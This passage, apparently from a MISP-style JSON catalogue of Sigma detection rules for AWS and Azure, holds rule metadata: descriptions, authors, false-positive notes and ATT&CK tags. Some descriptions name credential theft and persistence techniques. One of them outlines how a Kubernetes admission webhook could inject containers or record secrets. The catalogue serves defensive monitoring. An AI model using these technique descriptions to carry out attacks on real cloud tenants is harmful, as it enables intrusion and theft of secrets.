@austinsonger", "creation_date": "2021/10/03", "falsepositive": [ "Glue Development Endpoint Activity may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "aws_passed_role_to_glue_development_endpoint.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", "https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_passed_role_to_glue_development_endpoint.yml" ], "tags": [ "attack.privilege_escalation" ] }, "uuid": "4990c2e3-f4b8-45e3-bc3c-30b14ff0ed26", "value": "AWS Glue Development Endpoint Activity" }, { "description": "Detects AWS root account usage", "meta": { "author": "vitaliy0x1", "creation_date": "2020/01/21", "falsepositive": [ "AWS Tasks That Require AWS Account Root User Credentials https://docs.aws.amazon.com/general/latest/gr/aws_tasks-that-require-root.html" ], "filename": "aws_root_account_usage.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_root_account_usage.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1078.004" ] }, "related": [ { "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8ad1600d-e9dc-4251-b0ee-a65268f29add", "value": "AWS Root Credentials" }, { "description": "Detects AWS Config Service disabling", "meta": { "author": "vitaliy0x1", "creation_date": "2020/01/21", "falsepositive": [ "Valid change in AWS Config Service" ], "filename": "aws_config_disable_recording.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_config_disable_recording.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "07330162-dba1-4746-8121-a9647d49d297", "value": "AWS Config Disabling Channel/Recorder" }, { "description": "Detects when an ElastiCache security group has been created.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/07/24", "falsepositive": [ "A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "aws_elasticache_security_group_created.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_created.yml" ], "tags": [ "attack.persistence", "attack.t1136", "attack.t1136.003" ] }, "related": [ { "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4ae68615-866f-4304-b24b-ba048dfa5ca7", "value": "AWS ElastiCache Security Group Created" }, { "description": "Alert on when legecy authentication has been used on an account", "meta": { "author": "Yochana Henderson, '@Yochana-H'", "creation_date": "2022/06/17", "falsepositive": [ "User has been put in acception group so they can use legacy authentication" ], "filename": "azure_legacy_authentication_protocols.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_legacy_authentication_protocols.yml" ], "tags": [ "attack.credential_access", "attack.t1212" ] }, "related": [ { "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "60f6535a-760f-42a9-be3f-c9a0a025906e", "value": "Use of Legacy Authentication Protocols" }, { "description": "Detects when an end user consents to an application", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", "creation_date": "2022/07/28", "falsepositive": [ "Unknown" ], "filename": "azure_app_end_user_consent.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-consent", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent.yml" ], "tags": [ "attack.privilege_escalation" ] }, "uuid": "9b2cc4c4-2ad4-416d-8e8e-ee6aa6f5035a", "value": "End User Consent" }, { "description": "Define a baseline threshold for failed sign-ins due to Conditional Access failures", "meta": { "author": "Yochana Henderson, '@Yochana-H'", "creation_date": "2022/06/01", "falsepositive": [ "Service Account misconfigured", "Misconfigured Systems", "Vulnerability Scanners" ], "filename": "azure_conditional_access_failure.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_conditional_access_failure.yml" ], "tags": [ "attack.credential_access", "attack.t1110" ] }, "uuid": "b4a6d707-9430-4f5f-af68-0337f52d5c42", "value": "Sign-in Failure Due to Conditional Access Requirements Not Met" }, { "description": "Detects when an app is assigned Azure AD roles, such as global adminsitrator, or Azure RBAC roles, such as subscription owner.", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", "creation_date": "2022/07/19", "falsepositive": [ "When the permission is legitimately needed for the app" ], "filename": "azure_app_role_added.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#service-principal-assigned-to-a-role", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_role_added.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "b04934b2-0a68-4845-8a19-bdfed3a68a7a", "value": "App Role Added" }, { "description": "Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly.\nThe application then uses those credentials to authenticate the user against the identity provider.\n", "meta": { "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", "creation_date": "2022/06/01", "falsepositive": [ "Applications that are being used as part of automated testing or a legacy application that cannot use any other modern authentication flow" ], "filename": "azure_app_ropc_authentication.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_ropc_authentication.yml" ], "tags": [ "attack.t1078", "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.initial_access" ] }, "uuid": "55695bc0-c8cf-461f-a379-2535f563c854", "value": "Applications That Are Using ROPC Authentication Flow" }, { "description": "Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access.", "meta": { "author": "AlertIQ", "creation_date": "2021/10/10", "falsepositive": [ "Unknown" ], "filename": "azure_change_to_authentication_method.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_change_to_authentication_method.yml" ], "tags": [ "attack.credential_access", "attack.t1556", "attack.persistence", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4d78a000-ab52-4564-88a5-7ab5242b20c7", "value": "Change to Authentication Method" }, { "description": "Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", "creation_date": "2022/08/10", "falsepositive": [ "A non malicious user is unaware of the proper process" ], "filename": "azure_guest_invite_failure.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_guest_invite_failure.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.t1078.004" ] }, "related": [ { "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0b4b72e3-4c53-4d5b-b198-2c58cfef39a9", "value": "Guest User Invited By Non Approved Inviters" }, { "description": "Identifies when a service principal is created in Azure.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/02", "falsepositive": [ "Service principal being created may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service principal created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_service_principal_created.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_created.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "0ddcff6d-d262-40b0-804b-80eb592de8e3", "value": "Azure Service Principal Created" }, { "description": "Identifies when a key vault is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/16", "falsepositive": [ "Key Vault being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Key Vault modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_keyvault_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_modified_or_deleted.yml" ], "tags": [ "attack.impact", "attack.credential_access", "attack.t1552", "attack.t1552.001" ] }, "related": [ { "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "459a2970-bb84-4e6a-a32e-ff0fbd99448d", "value": "Azure Key Vault Modified or Deleted" }, { "description": "Detect access has been blocked by Conditional Access policies.\nThe access policy does not allow token issuance which might be sights≈ of unauthorizeed login to valid accounts.\n", "meta": { "author": "AlertIQ", "creation_date": "2021/10/10", "falsepositive": [ "Unknown" ], "filename": "azure_user_login_blocked_by_conditional_access.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_login_blocked_by_conditional_access.yml" ], "tags": [ "attack.credential_access", "attack.t1110" ] }, "uuid": "9a60e676-26ac-44c3-814b-0c2a8b977adf", "value": "User Access Blocked by Azure Conditional Access" }, { "description": "Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", "creation_date": "2022/08/10", "falsepositive": [ "Administrator adding a legitmate temporary access pass" ], "filename": "azure_tap_added.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_tap_added.yml" ], "tags": [ "attack.privilege_escalation", "attack.defense_evasion", "attack.t1078" ] }, "uuid": "fa84aaf5-8142-43cd-9ec2-78cfebf878ce", "value": "Temporary Access Pass Added To An Account" }, { "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/11/26", "falsepositive": [ "If this was approved by System Administrator." ], "filename": "azure_subscription_permissions_elevation_via_auditlogs.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#assignment-and-elevation", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_auditlogs.yml" ], "tags": [ "attack.initial_access", "attack.t1078" ] }, "uuid": "ca9bf243-465e-494a-9e54-bf9fc239057d", "value": "Azure Subscription Permission Elevation Via AuditLogs" }, { "description": "Detects when an account was created and deleted in a short period of time.", "meta": { "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", "creation_date": "2022/08/11", "falsepositive": [ "Legit administrative action" ], "filename": "azure_ad_account_created_deleted.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#short-lived-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_account_created_deleted.yml" ], "tags": [ "attack.defense_evasion", "attack.t1078" ] }, "uuid": "6f583da0-3a90-4566-a4ed-83c09fe18bbf", "value": "Account Created And Deleted Within A Close Time Frame" }, { "description": "Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/08", "falsepositive": [ "Rule Collections (Application, NAT, and Network) being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Rule Collections (Application, NAT, and Network) modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_firewall_rule_collection_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_rule_collection_modified_or_deleted.yml" ], "tags": [ "attack.impact", "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "025c9fe7-db72-49f9-af0d-31341dd7dd57", "value": "Azure Firewall Rule Collection Modified or Deleted" }, { "description": "Identifies when an admission controller is executed in Azure Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod.\nAn adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/11/25", "falsepositive": [ "Azure Kubernetes Admissions Controller may be done by a system administrator.", "If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_kubernetes_admission_controller.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_admission_controller.yml" ], "tags": [ "attack.persistence", "attack.t1078", "attack.credential_access", "attack.t1552", "attack.t1552.007" ] }, "related": [ { "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f8ef3a62-3f44-40a4-abca-761ab235c436", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a61a3c56-4ce2-4351-a079-88ae4cbd2b58", "value": "Azure Kubernetes Admission Controller" }, { "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", "meta": { "author": "sawwinnnaung", "creation_date": "2020/05/07", "falsepositive": [ "Valid change" ], "filename": "azure_rare_operations.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_rare_operations.yml" ], "tags": [ "attack.t1003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c1182e02-49a3-481c-b3de-0fadc4091488", "value": "Rare Subscription-level Operations In Azure" }, { "description": "Detects when sign-ins increased by 10% or greater.", "meta": { "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1'", "creation_date": "2022/08/11", "falsepositive": [ "Unlikely" ], "filename": "azure_ad_auth_failure_increase.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_failure_increase.yml" ], "tags": [ "attack.defense_evasion", "attack.t1078" ] }, "uuid": "e1d02b53-c03c-4948-b11d-4d00cca49d03", "value": "Increased Failed Authentications Of Any Type" }, { "description": "Monitor and alert for Bitlocker key retrieval.", "meta": { "author": "Michael Epping, '@mepples21'", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "azure_ad_bitlocker_key_retrieval.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#bitlocker-key-retrieval", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_bitlocker_key_retrieval.yml" ], "tags": [ "attack.defense_evasion", "attack.t1078" ] }, "uuid": "a0413867-daf3-43dd-9245-734b3a787942", "value": "Bitlocker Key Retrieval" }, { "description": "Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.", "meta": { "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", "creation_date": "2022/06/02", "falsepositive": [ "When a new application owner is added by an administrator" ], "filename": "azure_app_owner_added.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#new-owner", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_owner_added.yml" ], "tags": [ "attack.t1528", "attack.persistence", "attack.credential_access", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "74298991-9fc4-460e-a92e-511aa60baec1", "value": "Added Owner To Application" }, { "description": "Identifies when a application gateway is modified or deleted.", "meta": { "author": "Austin Songer", "creation_date": "2021/08/16", "falsepositive": [ "Application gateway being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Application gateway modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_application_gateway_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_gateway_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "ad87d14e-7599-4633-ba81-aeb60cfe8cd6", "value": "Azure Application Gateway Modified or Deleted" }, { "description": "Detect when a user has reset their password in Azure AD", "meta": { "author": "YochanaHenderson, '@Yochana-H'", "creation_date": "2022/08/03", "falsepositive": [ "If this was approved by System Administrator or confirmed user action." ], "filename": "azure_user_password_change.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_password_change.yml" ], "tags": [ "attack.t1078" ] }, "uuid": "340ee172-4b67-4fb4-832f-f961bdc1f3aa", "value": "Password Reset By User Account" }, { "description": "Monitor and alert on group membership additions of groups that have CA policy modification access", "meta": { "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", "creation_date": "2022/08/04", "falsepositive": [ "User removed from the group is approved" ], "filename": "azure_group_user_addition_ca_modification.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_addition_ca_modification.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "91c95675-1f27-46d0-bead-d1ae96b97cd3", "value": "User Added To Group With CA Policy Modification Access" }, { "description": "Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.", "meta": { "author": "MikeDuddington, '@dudders1'", "creation_date": "2022/06/30", "falsepositive": [ "If this was approved by System Administrator." ], "filename": "azure_users_authenticating_to_other_azure_ad_tenants.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_users_authenticating_to_other_azure_ad_tenants.yml" ], "tags": [ "attack.t1078" ] }, "uuid": "5f521e4b-0105-4b72-845b-2198a54487b9", "value": "Users Authenticating To Other Azure AD Tenants" }, { "description": "Identifies when an user or application modified the federation settings on the domain.", "meta": { "author": "Austin Songer", "creation_date": "2021/09/06", "falsepositive": [ "Federation Settings being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Federation Settings modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_federation_modified.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_federation_modified.yml" ], "tags": [ "attack.initial_access", "attack.t1078" ] }, "uuid": "352a54e1-74ba-4929-9d47-8193d67aba1e", "value": "Azure Domain Federation Settings Modified" }, { "description": "Identifies when a application security group is modified or deleted.", "meta": { "author": "Austin Songer", "creation_date": "2021/08/16", "falsepositive": [ "Application security group being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Application security group modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_application_security_group_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_security_group_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "835747f1-9329-40b5-9cc3-97d465754ce6", "value": "Azure Application Security Group Modified or Deleted" }, { "description": "Detect when authentications to important application(s) only required single-factor authentication", "meta": { "author": "MikeDuddington, '@dudders1'", "creation_date": "2022/07/28", "falsepositive": [ "If this was approved by System Administrator." ], "filename": "azure_ad_auth_to_important_apps_using_single_factor_auth.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_to_important_apps_using_single_factor_auth.yml" ], "tags": [ "attack.t1078" ] }, "uuid": "f272fb46-25f2-422c-b667-45837994980f", "value": "Authentications To Important Apps Using Single Factor Authentication" }, { "description": "Identifies the deletion of Azure Kubernetes Pods.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/07/24", "falsepositive": [ "Pods may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Pods deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_kubernetes_pods_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_pods_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "b02f9591-12c3-4965-986a-88028629b2e1", "value": "Azure Kubernetes Pods Deleted" }, { "description": "Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.", "meta": { "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", "creation_date": "2022/05/26", "falsepositive": [ "When credentials are added/removed as part of the normal working hours/workflows" ], "filename": "azure_app_credential_added.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-credentials", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_credential_added.yml" ], "tags": [ "attack.t1098", "attack.persistence" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cbb67ecc-fb70-4467-9350-c910bdf7c628", "value": "Added Credentials to Existing Application" }, { "description": "Identifies when a device or device configuration in azure is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/03", "falsepositive": [ "Device or device configuration being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Device or device configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_device_or_configuration_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_device_or_configuration_modified_or_deleted.yml" ], "tags": [ "attack.impact", "attack.t1485", "attack.t1565.001" ] }, "related": [ { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "46530378-f9db-4af9-a9e5-889c177d3881", "value": "Azure Device or Configuration Modified or Deleted" }, { "description": "Identifies when a application is deleted in Azure.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/03", "falsepositive": [ "Application being deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Application deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_application_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_deleted.yml" ], "tags": [ "attack.defense_evasion", "attack.impact", "attack.t1489" ] }, "related": [ { "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "410d2a41-1e6d-452f-85e5-abdd8257a823", "value": "Azure Application Deleted" }, { "description": "Define a baseline threshold and then monitor and adjust to suit your organizational behaviors and limit false alerts from being generated.", "meta": { "author": "Corissa Koopmans, '@corissalea'", "creation_date": "2022/04/21", "falsepositive": [ "Failed Azure AD Connect Synchronization", "Service account use with an incorrect password specified", "Misconfigured systems", "Vulnerability scanners" ], "filename": "azure_aad_secops_signin_failure_bad_password_threshold.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_signin_failure_bad_password_threshold.yml" ], "tags": [ "attack.credential_access", "attack.t1110" ] }, "uuid": "dff74231-dbed-42ab-ba49-83289be2ac3a", "value": "Sign-in Failure Bad Password Threshold" }, { "description": "Detects when a user has been elevated to manage all Azure 